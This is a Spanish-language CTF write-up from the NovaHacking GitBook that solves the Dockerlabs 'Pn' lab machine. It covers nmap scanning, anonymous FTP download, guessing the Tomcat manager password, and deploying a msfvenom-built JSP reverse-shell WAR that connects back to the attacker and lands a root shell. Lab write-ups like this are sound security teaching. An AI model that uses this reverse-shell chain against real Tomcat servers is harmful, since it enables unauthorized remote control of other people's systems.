NovaHacking
  • Whoami
  • Artículos
    • Panamá Papers
    • Tratamiento para la TTY
    • Introducción a la Ciberseguridad
    • Introducción al Buffer Overflow
    • Introducción al Pivoting
    • IDS - IPS (Suricata)
    • Colisión de Hash
    • RSA Cracker
  • Herramientas
    • Explotación
      • Hydra
      • pwncat-cs
    • Reconocimiento
      • Nmap
      • Arp scan
  • CTF
    • Dockerlabs
      • Amor
      • BreakMySSH
      • DockHackLab
      • FirstHacking
      • sjd
      • WhereIsMyWebShell
      • Dark
      • Queuemedic
      • Buffered
      • Pn
      • Canario
      • Domain
      • HereBash
  • Linux
    • 🐧Inicio Linux
Powered by GitBook
On this page
  1. CTF
  2. Dockerlabs

Pn

TAG -> Dockerlabs | CTF

PreviousBufferedNextCanario

Last updated 20 days ago

Datos
  • Máquina -> Pn

  • Dificultad -> Fácil

  • Creador ->

Como es costumbre, empezamos este ctf con un ping:

ping -c 1 172.17.0.2 -R

Resultado

PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.052 ms
RR: 	172.17.0.1
	172.17.0.2
	172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.052/0.052/0.052/0.000 ms

En este resultado del comando ping, podemos notar que tenemos conexión directa con el equipo, mediante su TTL podemos intuir que es un sistema Linux, después de crear las carpetas de trabajo con mkt, procedemos con nuestro escaneo de nmap.

nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2

Resultado

# Nmap 7.95 scan initiated Sat May 17 22:08:06 2025 as: nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              74 Apr 19  2024 tomcat.txt
8080/tcp open  http    Apache Tomcat 9.0.88
|_http-title: Apache Tomcat/9.0.88
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 17 22:08:15 2025 -- 1 IP address (1 host up) scanned in 8.96 seconds

nmap nos muestra los puertos abiertos con su servicio y versión correspondiente, en este caso tenemos el puerto 21 corriendo ftp de versión 3.0.5, el problema es que nmap detecto con el script ftp-anon que el usuario Anonymous esta activo, por lo cual podemos ingresar al servidor ftp sin credenciales, ademas nos muestra que existe un archivo tomcat.txt existente en la carpeta del servidor, el otro puerto seria el 8080 corre Apache Tomcat de versión 9.0.88, como tal no detecta ninguna vulnerabilidad, el siguiente paso sera descargar el txt que esta en ftp.

wget -m --no-passive ftp://anonymous:anonymous@172.17.0.2

Resultado

Como podemos notar en la imagen, se descargo correctamente el archivo, este comando descarga de forma recursiva todo lo que este en el servidor ftp, ahora veamos el contenido de tomcat.txt.

Hello tomcat, can you configure the tomcat server? I lost the password...

Dice: Hola tomcat, ¿puedes configurar el servidor tomcat? Perdí la contraseña..., vallamos a la web para ver como esta.

Al intentar entrar a Manager App nos pide credenciales, si presionamos cancelar, nos aparecerá un mensaje de ayuda:

Aquí nos muestra credenciales por default: tomcat y s3cret, pero no funcionan, aunque jugando un poco con esto, simplemente cambiando la contraseña de s3cret a s3cr3t nos deja entrar, una vez dentro tendremos que ir al siguiente apartado: Archivo WAR a desplegar, aquí subiremos un archivo malicioso que nos devolverá una Reverse Shell, para crearlo nos vamos a la terminal y ejecutamos el siguiente comando:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=1234 -f war -o revshell.war
  • msfvenom: Herramienta de Metasploit para generar payloads (código malicioso personalizado).

  • -p java/jsp_shell_reverse_tcp: Especifica el payload a generar. En este caso, crea una shell reversa en formato JSP (Java Server Pages), útil para servidores web Java.

  • reverse_tcp: el objetivo se conecta de vuelta al atacante.

  • LHOST=172.17.0.1: Dirección IP del atacante (la máquina que recibirá la conexión inversa).

  • LPORT=1234: Puerto en la máquina atacante donde se recibirá la conexión.

  • -f war: Formato de salida del archivo. war (Web Application Archive) es el tipo de archivo usado para desplegar aplicaciones web en servidores Java (como Apache Tomcat).

  • -o revshell.war: Nombre del archivo de salida que se generará con el payload: revshell.war.

Resultado

Payload size: 1107 bytes
Final size of war file: 1107 bytes
Saved as: revshell.war

Ahora simplemente lo subimos y presionamos el botón Desplegar, de tal modo que en el apartado Aplicaciones aparecerá de último nuestra aplicación con nombre: /revshell, antes de presionar el enlace, tenemos que ponernos en escucha, en mi caso usaré pwncat.

pwncat-cs :1234

Resultado

Ahora si presionamos el enlace y podremos ver en pwncat como recibimos exitosamente la conexión:

Si entramos a la shell y ejecutamos whoami, nos llevaremos la sorpresa de que somos root, ya que era el usuario que ejecuto tomcat por lo cual hemos resuelto el ctf.

El Pingüino de Mario